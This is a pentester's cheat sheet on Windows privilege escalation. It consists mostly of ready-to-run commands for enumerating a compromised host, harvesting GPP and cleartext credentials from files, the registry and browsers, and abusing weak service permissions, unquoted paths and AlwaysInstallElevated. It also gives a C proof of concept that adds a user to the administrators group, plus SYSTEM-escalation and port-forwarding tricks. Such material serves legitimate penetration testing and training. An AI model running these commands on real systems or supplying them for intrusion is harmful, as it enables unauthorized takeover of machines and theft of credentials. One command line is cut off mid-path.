Privilege Escalation Windows

We now have a low-privileges shell that we want to escalate into a privileged shell.

Basic Enumeration of the System

Before we start looking for privilege escalation opportunities we need to understand a bit about the machine. We need to know what users have privileges. What patches/hotfixes the system has.

```
 # Basics
systeminfo
hostname

# Who am I?
whoami
echo %username%

# What users/localgroups are on the machine?
net users
net localgroups

# More info about a specific user. Check if user has privileges.
net user user1

# View Domain Groups
net group /domain

# View Members of Domain Group
net group /domain <Group Name>

# Firewall
netsh firewall show state
netsh firewall show config

# Network
ipconfig /all
route print
arp -A

# How well patched is the system?
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

1. Group Policy Preference

If the machine belongs to a domain and your user has access to `System Volume Information` there might be some sensitive files there.

This is the easiest technique, and the one that should be tried first.

First you need to find out which domain your user belongs to. You can do that by using the powershell Active directory module. If you do not have that module. See the helper-section to find out how to get it. You can do that with the following command:

```
get-addomain
```

```
AllowedDNSSuffixes                : {}
ChildDomains                      : {}
ComputersContainer                : CN=Computers,DC=hackdomain,DC=local
DeletedObjectsContainer           : CN=Deleted Objects,DC=hackdomain,DC=local
DistinguishedName                 : DC=hackdomain,DC=local
DNSRoot                           : hackdomain.local
DomainControllersContainer        : OU=Domain Controllers,DC=hackdomain,DC=local
DomainMode                        : Windows2012R2Domain
DomainSID                         : S-1-5-21-2900359584-3137434808-3022034389
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=hackdomain,DC=local
Forest                            : hackdomain.local
InfrastructureMaster              : DC1337.hackdomain.local
LastLogonReplicationInterval      :
LinkedGroupPolicyObjects          : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=hackdomain,DC=local}
LostAndFoundContainer             : CN=LostAndFound,DC=hackdomain,DC=local
ManagedBy                         :
Name                              : hackdomain
NetBIOSName                       : HACKDOMAIN
ObjectClass                       : domainDNS
ObjectGUID                        : 176ed6af-a390-40f4-bbc2-e6f581089e90
ParentDomain                      :
PDCEmulator                       : DC1337.hackdomain.local
QuotasContainer                   : CN=NTDS Quotas,DC=hackdomain,DC=local
ReadOnlyReplicaDirectoryServers   : {}
ReplicaDirectoryServers           : {DC1337.hackdomain.local}
RIDMaster                         : DC1337.hackdomain.local
SubordinateReferences             : {DC=ForestDnsZones,DC=hackdomain,DC=local, DC=DomainDnsZones,DC=hackdomain,DC=loca
l, CN=Configuration,DC=hackdomain,DC=local}
SystemsContainer                  : CN=System,DC=hackdomain,DC=local
UsersContainer                    : CN=Users,DC=hackdomain,DC=local
```

So you can clearly see `hackdomain.local` references everywhere. This is the domain-name.

You can now go to `\\hackdomain.local\SYSVOL\hackdomain.local\policies` and search for passwords there. You can either go with the explorer or with powershell.

```
cd \\hackdomain.local\SYSVOL
findstr /r /s:cpassword
```

Using PowerSploit

You can use `Get-GPPPassword` from powersploit to get gpp-passwords.

```
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Get-GPPPassword.ps1
```

You can also use `Get-CachedGPPPassword`. It is included in the PowerSploit Privesc module.

Using Metasploit

```
post/windows/gather/credentials/gpp
```

Manually

First we need to map/mount that drive. In order to do that we need to know the IP-address of the domain controller. We can just look in the environment-variables

```
# Output environment-variables
set

# Look for the following:
LOGONSERVER=\\NAMEOFSERVER
USERDNSDOMAIN=WHATEVER.LOCAL

# Look up ip-addres
nslookup nameofserver.whatever.local

# It will output something like this
Address:  192.168.1.101

# Now we mount it
net use z: \\192.168.1.101\SYSVOL

# And enter it
z:

# Now we search for the groups.xml file
dir Groups.xml /s
```

If we find the file with a password in it, we can decrypt it like this in Kali

```
gpp-decrypt encryptedpassword
```

```
Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes
```

2. Services with Vulnerble Permissions

Services on windows are programs that run in the background. Without a GUI. They are almost always started and run by NT Authority. Therefore the files, folder and registry keys need correct permissions.

2.1 Insecure Registry Permissions

In Windows, information related to services is stored in `HKLM\SYSTEM\CurrentControlSet\Services` registry key. If we want to see information about a specific service, you can check `HKLM\SYSTEM\ControlSet001\Services\Vulnerable Service` . In that registry there is a key called `ImagePath` which contains a UNC path to the executable. So if an attacker has the permission to edit that key, the attacker can change it to point to an executable of his/hers choice. You can check if the registry is editable from the command-line but you can also check if from regedit.exe. It is uncommon that this key can be edited by a low priviliged user. But it is still something to test.

References: https://pentestlab.blog/tag/imagepath/ https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

2.2 Insecure Service Permissions

This attack is similar to the previous attack. But instead of changing the registry key we will change the Service-configuration.

First we need to know which services out user has the right to configure. That can be done with the sysinternal tool accesschk.exe or with powersploit

Using PowerSploit - Privesc

Enumerates all services and returns services for which the current user can modify the binPath.

```
Get-ModifiableService


Set-ServiceBinaryPath
```

Using accesschk.exe

```
accesschk.exe -uwcqv "YourUser" *
```

All services that "YourUser" can modify will be listed. SERVICE_ALL_ACCESS means we have full control over modifying the properties of Vulnerable Service.

For more details on how to actually change the binPath and restart the service see: https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

Manually

First we need to find services. That can be done using `wmci` or `sc.exe`. Wmci is not available on all windows machines, and it might not be available to your user. If you don't have access to it, you can use `sc.exe`.

WMCI

```
wmic service list brief
```

This will produce a lot out output and we need to know which one of all of these services have weak permissions. In order to check that we can use the `icacls` program. Notice that `icacls` is only available from Vista and up. XP and lower has `cacls` instead.

As you can see in the command below you need to make sure that you have access to `wimc`, `icacls` and write privilege in `C:\windows\temp`.

```
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\t

for /f eol^="^"^ delims^="^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
```

Binaries in system32 are excluded since they are mostly correct, since they are installed by windows.

sc.exe

```
sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt

FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt

FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt

FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
```

Now you can process them one by one with the cacls command.

```
cacls "C:\path\to\file.exe"
```

Look for Weakness

What we are interested in is binaries that have been installed by the user. In the output you want to look for `BUILTIN\Users:(F)`. Or where your user/usergroup has `(F)` or `(C)` rights.

Example:

```
C:\path\to\file.exe
BUILTIN\Users:F
BUILTIN\Power Users:C
BUILTIN\Administrators:F
NT AUTHORITY\SYSTEM:F
```

That means your user has write access. So you can just rename the `.exe` file and then add your own malicious binary. And then restart the program and your binary will be executed instead. This can be a simple getsuid program or a reverse shell that you create with msfvenom.

Here is a POC code for getsuid.

```
#include <stdlib.h>
int main ()
{
int i;
    i = system("net localgroup administrators theusername /add");
return 0;
}
```

We then compile it with mingw like this:

```
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
```

Restart the Service

Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed. We can do this by using `wmic` or `net` the following way:

```
wmic service NAMEOFSERVICE call startservice
```

```
net stop [service name] && net start [service name].
```

The binary should now be executed in the SYSTEM or Administrator context.

Migrate the meterpreter shell

If your meterpreter session dies right after you get it you need migrate it to a more stable service. A common service to migrate to is winlogon.exe since it is run by system and it is always run. You can find the PID like this:

```
wmic process list brief | find "winlogon"
```

So when you get the shell you can either type `migrate PID` or automate this so that meterpreter automatically migrates.

http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html

2.3 Insecure Service File/folder permissions

If you find a service where the low-priv user has write permissions in the of the binary that is started by the service, the user can switch the binary to an evil binary and have that binary executed by NT Authroity.

PowerSploit Privesc/PowerUp

The easiest way to find these vulnerabilities is with the Powersploit.

Download the PowerSploit module Privesc. Unzip it and place the entire Privesc folder in the Documents folder of your user: `\Documents\WindowsPowerShell\Modules\Privesc\` Here you can download it: https://github.com/PowerShellMafia/PowerSploit/tree/dev/Privesc

In order to import the module the easiest is to do the following in a powershell shell:

```
powershell.exe  -Exec bypass
import-module Privesc
# Check that it worked
get-command -Module Privesc
```

Now you can either run all checks to check all privesc possibilities. Or just check weak services with:

```
invoke-AllChecks
```

Now check for the output from Services-delen. If you have a domain-user check for files where the usergroup `NT/Authenticated users` can write files. If youy user can't restart the service you will have to restart the machine.

3. Unquoted Service Paths

So the idea here is that if the path to a service binary/executable is (1) not surounded by quotation-marks (""), and the and the attacker has write-permissions on The basic idea is to make a service execute a malicious binary when it is started. For this to work the following conditions must be met: 1. The UNC path must not be sourounded by quotes "". 2. The path must contain a space, for example `\windows\my files\test.exe` . 3. The attacker must have write-permissions the directory with space in the name. So in the case it must have write permissions in `\my files\` .

The PATH to the service binary is set in the registry.

Exploit with PowerSploit

```
Get-UnquotedService
```

Manually

Find Services With Unquoted Paths

```
# Using WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

# Using sc
sc query
sc qc service name

# Look for Binary_path_name and see if it is unquoted.
```

If the path contains a space and is not quoted, the service is vulnerable.

Exploit It

If the path to the binary is:

```
c:\Program Files\something\winamp.exe
```

We can place a binary like this

```
c:\program.exe
```

When the program is restarted it will execute the binary `program.exe`, which we of course control. We can do this in any directory that has a space in its name. Not only `program files`.

This attack is explained here:
http://toshellandback.com/2015/11/24/ms-priv-esc/

There is also a metasploit module for this is: exploit/windows/local/trusted_service_path

4. AlwaysInstallElevated - Install new program as privileged user

This is a pretty simple privilege escalation attack. If this registry key is set a user is able to install any program. And when it is installed, it is installed as administrator. This means that if the attacker creates a install-package, .msi file, and then clicks on it, the package will be installed by the administrator/NT Authority. So if the attacker creates a install-package that adds a new privilege user the new user will be created.

Check to see if the registry key is set:

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

Or
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

http://toshellandback.com/2015/11/24/ms-priv-esc/

Exploit it using PowerUp.ps1

```
Write-UserAddMSI
```

This will create an isntallation-file on the desktop. Once you click that you get a dialog where you can enter the new user and password you would like to create. It then gets created when you continue the installation.

5. DLL Hijacking

First check what services are running. Second, check if those services are running as LocalSystem. Third, check that the service is not a windows default service. Fourth, check if you have any directory in the PATH variable that you have write-permissions to.

Now that you have enumerated the custom services that are running we need to find out if they load any DLL:s that doesn't exist.

Run it locally

One way is to install the program locally on a computer where you are Administrator. You can run procmon at the same time, so that you can check what DLL:s it is trying to load.

Check the executable and check for LoadLibrary functions.

I have never tried this tool, so who knows. There is a tool for this: https://github.com/Cybereason/siofra

Otherwise you can maybe search for strings in the binary, take all the DLL:s that you find that it is invoking. Whether it exists or not. And then you create a malicios

DLL and copy it to every name of the files you find when you searched for strings in the binary.

No good method for it if you can't use Procmon. Read this https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

6. Check installed software for exploits

Check what programs are installed on the machine, and google to to see if any of them contains local privilege escalations.

7. Cleartext Passwords / Stored credentials

Search for them

```
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

#Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*

# Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*
```

In Common Files

These are common files to find them in. They might be base64-encoded. So look out for that.

```
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
```

In Registry

```
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

Check browser creds

So if you gotten access to a machine as another user. You can check to see if that user has stored credentials in the browser.

USe the following metasploit module:

```
run post/windows/gather/enum_chrome
run post/multi/gather/firefox_creds
```

8. Kernel exploits

Kernel exploits should be our last resource, since it might but the machine in an unstable state or create some other problem with the machine.

Identify the hotfixes/patches

```
systeminfo
# or
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

Python to Binary

If we have an exploit written in python but we don't have python installed on the victim-machine we can always transform it into a binary with pyinstaller. Good trick to know.

Service only available from inside

Sometimes there are services that are only accessible from inside the network. For example a MySQL server might not be accessible from the outside, for security reasons. It is also common to have different administration applications that is only accessible from inside the network/machine. Like a printer interface, or something like that. These services might be more vulnerable since they are not meant to be seen from the outside.

```
netstat -ano
```

Example output:

```
Proto  Local address      Remote address     State        User  Inode  PID/Program name
    -----  -------------      --------------     -----        ----  -----  ----------------
    tcp    0.0.0.0:21         0.0.0.0:*          LISTEN       0     0      -
    tcp    0.0.0.0:5900       0.0.0.0:*          LISTEN       0     0      -
    tcp    0.0.0.0:6532       0.0.0.0:*          LISTEN       0     0      -
    tcp    192.168.1.9:139    0.0.0.0:*          LISTEN       0     0      -
    tcp    192.168.1.9:139    192.168.1.9:32874  TIME_WAIT    0     0      -
    tcp    192.168.1.9:445    192.168.1.9:40648  ESTABLISHED  0     0      -
    tcp    192.168.1.9:1166   192.168.1.9:139    TIME_WAIT    0     0      -
    tcp    192.168.1.9:27900  0.0.0.0:*          LISTEN       0     0      -
    tcp    127.0.0.1:445      127.0.0.1:1159     ESTABLISHED  0     0      -
    tcp    127.0.0.1:27900    0.0.0.0:*          LISTEN       0     0      -
    udp    0.0.0.0:135        0.0.0.0:*                       0     0      -
    udp    192.168.1.9:500    0.0.0.0:*                       0     0      -
```

Look for **LISTENING/LISTEN**. Compare that to the scan you did from the outside.
Does it contain any ports that are not accessible from the outside?

If that is the case, maybe you can make a remote forward to access it.

```
# Port forward using plink
plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080

# Port forward using meterpreter
portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r 192.168.1.101
```

So how should we interpret the netstat output?

Local address 0.0.0.0
Local address 0.0.0.0 means that the service is listening on all interfaces. This means that it can receive a connection from the network card, from the loopback interface or any other interface. This means that anyone can connect to it.

Local address 127.0.0.1
Local address 127.0.0.1 means that the service is only listening for connection from the your PC. Not from the internet or anywhere else. **This is interesting to us!**

Local address 192.168.1.9
Local address 192.168.1.9 means that the service is only listening for connections from the local network. So someone in the local network can connect to it, but not someone from the internet. **This is also interesting to us!**

Vulnerable Drivers

Some driver might be vulnerable. I don't know how to check this in an efficient way.

```
# List all drivers
driverquery
```

Hot potato

Never tried. https://foxglovesecurity.com/2016/01/16/hot-potato/

Scheduled Tasks - Only works on Windows 2000/xp/2003

Here we are looking for tasks that are run by a privileged user, and run a binary that we can overwrite.

```
schtasks /query /fo LIST /v
```

This might produce a huge amount of text. I have not been able to figure out how to just output the relevant strings with `findstr`. So if you know a better way please notify me. As for now I just copy-paste the text and past it into my linux-terminal.

Yeah I know this ain't pretty, but it works. You can of course change the name SYSTEM to another privileged user.

```
cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
```

Escalate to SYSTEM from Administrator

On Windows XP and Older

If you have a GUI with a user that is included in Administrators group you first need to open up `cmd.exe` for the administrator. If you open up the cmd that is in Accessories it will be opened up as a normal user. And if you rightclick and do `Run as Administrator` you might need to know the Administrators password. Which you might not know. So instead you open up the cmd from `c:\windows\system32\cmd.exe`. This will give you a cmd with Administrators rights.

From here we want to become SYSTEM user. To do this we run:

First we check what time it is on the local machine:

```
time

# Now we set the time we want the system CMD to start. Probably one minuter after the time.
at 01:23 /interactive cmd.exe
```

And then the cmd with SYSTEM privs pops up.

Vista and Newer

You first need to upload PsExec.exe and then you run:

```
psexec -i -s cmd.exe
```

Kitrap

On some machines the `at 20:20` trick does not work. It never works on Windows 2003 for example. Instead you can use Kitrap. Upload both files and execute `vdmaillowed.exe`. I think it only works with GUI.

```
vdmallowed.exe
vdmexploit.dll
```

Using Metasploit

So if you have a metasploit meterpreter session going you can run `getsystem`.

Post modules

Some interesting metasploit post-modules

First you need to background the meterpreter shell and then you just run the post modules.
You can also try some different post modules.

```
use exploit/windows/local/service_permissions

post/windows/gather/credentials/gpp

run post/windows/gather/credential_collector

run post/multi/recon/local_exploit_suggester

run post/windows/gather/enum_shares

run post/windows/gather/enum_snmp

run post/windows/gather/enum_applications

run post/windows/gather/enum_logged_on_users

run post/windows/gather/checkvm
```

References

http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/
http://www.fuzzysecurity.com/tutorials/16.html
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
http://it-ovid.blogspot.cl/2012/02/windows-privilege-escalation.html
https://github.com/gentilkiwi/mimikatz
http://bernardodamele.blogspot.cl/2011/12/dump-windows-password-hashes.html
https://www.youtube.com/watch?v=kMG8IsCohHA&feature=youtu.be
https://www.youtube.com/watch?v=PC_iMqiuIRQ
http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
http://pwnwiki.io/#!privesc/windows/index.md